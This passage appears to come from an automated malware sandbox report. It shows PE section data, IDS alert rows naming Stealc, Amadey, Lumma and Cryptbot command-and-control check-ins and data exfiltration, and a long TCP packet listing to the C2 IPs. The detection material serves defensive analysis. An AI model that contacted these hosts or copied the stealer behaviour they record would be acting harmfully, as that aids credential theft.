ofswnyqv	0x4f3000	0x19e000	0x19da00	f336d7406354463a54d88f3c64602ece	False	0.995019501737685	data	7.9541988353807485	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nhryoslq	0x691000	0x1000	0x600	dbc7a998926b584940832b1f1dd7732e	False	0.546875	data	4.8951855724369855	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x692000	0x3000	0x2200	a2344668b3d0e6e82a59d739a865678f	False	0.06215533088235294	DOS executable (COM)	0.7297619940392597	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x690840	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T08:09:00.751667+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-20T08:09:00.983064+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-20T08:09:01.122369+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-20T08:09:01.344565+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-20T08:09:01.353303+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-20T08:09:02.326136+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-20T08:09:02.856760+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-20T08:09:22.489735+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-20T08:09:23.574929+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-20T08:09:24.439913+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-20T08:09:25.028863+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-20T08:09:26.715453+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-20T08:09:27.213349+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-20T08:09:31.323672+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49920	185.215.113.16	80	TCP
2024-11-20T08:10:05.633932+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	50121	185.215.113.43	80	TCP
2024-11-20T08:10:08.873315+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50123	31.41.244.11	80	TCP
2024-11-20T08:10:14.683068+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	50122	TCP
2024-11-20T08:10:15.404292+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50124	185.215.113.43	80	TCP
2024-11-20T08:10:16.358914+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50127	185.215.113.16	80	TCP
2024-11-20T08:10:20.646703+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50129	188.114.96.3	443	TCP
2024-11-20T08:10:20.744178+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50128	185.215.113.43	80	TCP
2024-11-20T08:10:21.256475+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50129	188.114.96.3	443	TCP
2024-11-20T08:10:21.256475+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50129	188.114.96.3	443	TCP
2024-11-20T08:10:21.482870+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50131	185.215.113.16	80	TCP
2024-11-20T08:10:21.817470+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50135	188.114.96.3	443	TCP
2024-11-20T08:10:22.240491+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50135	188.114.96.3	443	TCP
2024-11-20T08:10:22.240491+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50135	188.114.96.3	443	TCP
2024-11-20T08:10:23.599309+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50137	188.114.96.3	443	TCP
2024-11-20T08:10:24.209763+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	50137	188.114.96.3	443	TCP
2024-11-20T08:10:25.971415+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50139	188.114.96.3	443	TCP
2024-11-20T08:10:26.130265+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50138	185.215.113.43	80	TCP
2024-11-20T08:10:26.831790+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50140	185.215.113.16	80	TCP
2024-11-20T08:10:27.217926+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50141	185.215.113.206	80	TCP
2024-11-20T08:10:27.737478+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50142	188.114.96.3	443	TCP
2024-11-20T08:10:29.467456+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50143	188.114.96.3	443	TCP
2024-11-20T08:10:31.267118+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50144	185.215.113.43	80	TCP
2024-11-20T08:10:31.817389+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50146	188.114.96.3	443	TCP
2024-11-20T08:10:31.822299+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50146	188.114.96.3	443	TCP
2024-11-20T08:10:31.998486+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50145	185.215.113.16	80	TCP
2024-11-20T08:10:32.611393+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50147	34.116.198.130	80	TCP
2024-11-20T08:10:35.015806+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50152	34.116.198.130	80	TCP
2024-11-20T08:10:36.402824+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50153	188.114.96.3	443	TCP
2024-11-20T08:10:36.467068+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50154	188.114.96.3	443	TCP
2024-11-20T08:10:36.900304+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50154	188.114.96.3	443	TCP
2024-11-20T08:10:36.947733+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50153	188.114.96.3	443	TCP
2024-11-20T08:10:36.947733+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50153	188.114.96.3	443	TCP
2024-11-20T08:10:37.346999+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50155	185.215.113.43	80	TCP
2024-11-20T08:10:37.681978+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50156	185.215.113.16	80	TCP
2024-11-20T08:10:37.806801+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50158	188.114.96.3	443	TCP
2024-11-20T08:10:38.322867+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50158	188.114.96.3	443	TCP
2024-11-20T08:10:38.322867+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50158	188.114.96.3	443	TCP
2024-11-20T08:10:39.516781+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50163	188.114.96.3	443	TCP
2024-11-20T08:10:42.517837+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50178	188.114.96.3	443	TCP
2024-11-20T08:10:44.994414+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50181	188.114.96.3	443	TCP
2024-11-20T08:10:45.317808+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	50180	34.116.198.130	80	TCP
2024-11-20T08:10:46.404266+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50182	185.215.113.206	80	TCP
2024-11-20T08:10:49.856304+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50191	188.114.96.3	443	TCP
2024-11-20T08:10:56.166819+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50195	188.114.96.3	443	TCP
2024-11-20T08:10:56.193817+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	50195	188.114.96.3	443	TCP
2024-11-20T08:10:56.193817+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50195	188.114.96.3	443	TCP
2024-11-20T08:10:58.488579+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50197	188.114.96.3	443	TCP
2024-11-20T08:10:59.946382+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50197	188.114.96.3	443	TCP
2024-11-20T08:11:00.655276+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	50198	185.215.113.16	80	TCP
2024-11-20T08:11:58.534159+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50324	20.189.173.21	443	TCP
2024-11-20T08:13:45.795595+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	61345	51.116.253.170	443	TCP
2024-11-20T08:15:12.140775+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	61387	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 08:08:56.759083033 CET	49674	443	192.168.2.5	23.1.237.91
Nov 20, 2024 08:08:56.759309053 CET	49675	443	192.168.2.5	23.1.237.91
Nov 20, 2024 08:08:56.868496895 CET	49673	443	192.168.2.5	23.1.237.91
Nov 20, 2024 08:08:59.769742966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:08:59.774687052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:08:59.774780035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:08:59.778598070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:08:59.786290884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:00.492508888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:00.492655993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:00.517997026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:00.522989035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:00.751589060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:00.751667023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:00.753123045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:00.757970095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:00.982986927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:00.983063936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:00.986582994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:00.986646891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:01.116065025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:01.116163015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:01.117531061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:01.122369051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:01.344423056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:01.344445944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:01.344458103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:01.344469070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:01.344480991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:01.344492912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:01.344508886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:01.344564915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:01.344743013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:01.347196102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:01.353302956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:01.574531078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:01.574659109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:01.592152119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:01.592219114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:01.597039938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:01.597080946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:01.597135067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:01.597148895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:01.597173929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:01.597183943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:01.597197056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.325926065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.326136112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:02.634365082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:02.639209032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.856692076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.856745958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.856755972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.856760025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:02.856782913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.856801033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.856801033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:02.856822014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:02.856832981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:02.856872082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.856910944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:02.857000113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.857043028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:02.857076883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.857090950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.857104063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.857121944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:02.857202053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:02.857626915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.857676983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.857681036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:02.857690096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.857707977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:02.857717991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.857724905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:02.857749939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:02.986728907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.986839056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.986850023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.986862898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.986875057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.987059116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:02.987128019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.987170935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:02.987179995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.987194061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.987226963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:02.987245083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:02.987263918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.987277031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.987303019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:02.987323999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:02.987920046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.987968922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:02.988054037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:02.988132954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.002521038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.002536058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.002548933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.002588034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.002629042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.002665043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.003806114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.003860950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.003870010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.003885031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.003912926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.003927946 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.003957987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.003969908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.003983021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.004014015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.004049063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.004390955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.004436016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.004436970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.004477978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.004936934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.004946947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.005248070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.011565924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.011589050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.011600018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.011650085 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.014077902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.110980034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.111136913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.111160994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.111174107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.111186981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.111200094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.111205101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.111227036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.111270905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.111377001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.111387014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.111430883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.111449957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.111511946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.111566067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.111582041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.111593962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.111619949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.112065077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.112111092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.112129927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.112144947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.112166882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.112207890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.112231016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.112242937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.112255096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.112271070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.112286091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.112298012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.112844944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.112865925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.112879038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.112886906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.112905979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.112912893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.113018036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.113029957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.113037109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.113068104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.113785028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.113836050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.113852978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.113862991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.113888979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.126847029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.126858950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.126869917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.126943111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.126945019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.126961946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.126974106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.126975060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.127001047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.127027035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.128160000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.128210068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.128216982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.128230095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.128247976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.128266096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.128304005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.128348112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.128381014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.128393888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.128417969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.128436089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.128458977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.128469944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.128515005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.128587008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.128772974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.128812075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.128839970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.128854036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.128874063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.128889084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.128926992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.128938913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.128972054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.129276037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.129308939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.129308939 CET	49704	80	192.168.2.5	185.215.113.206
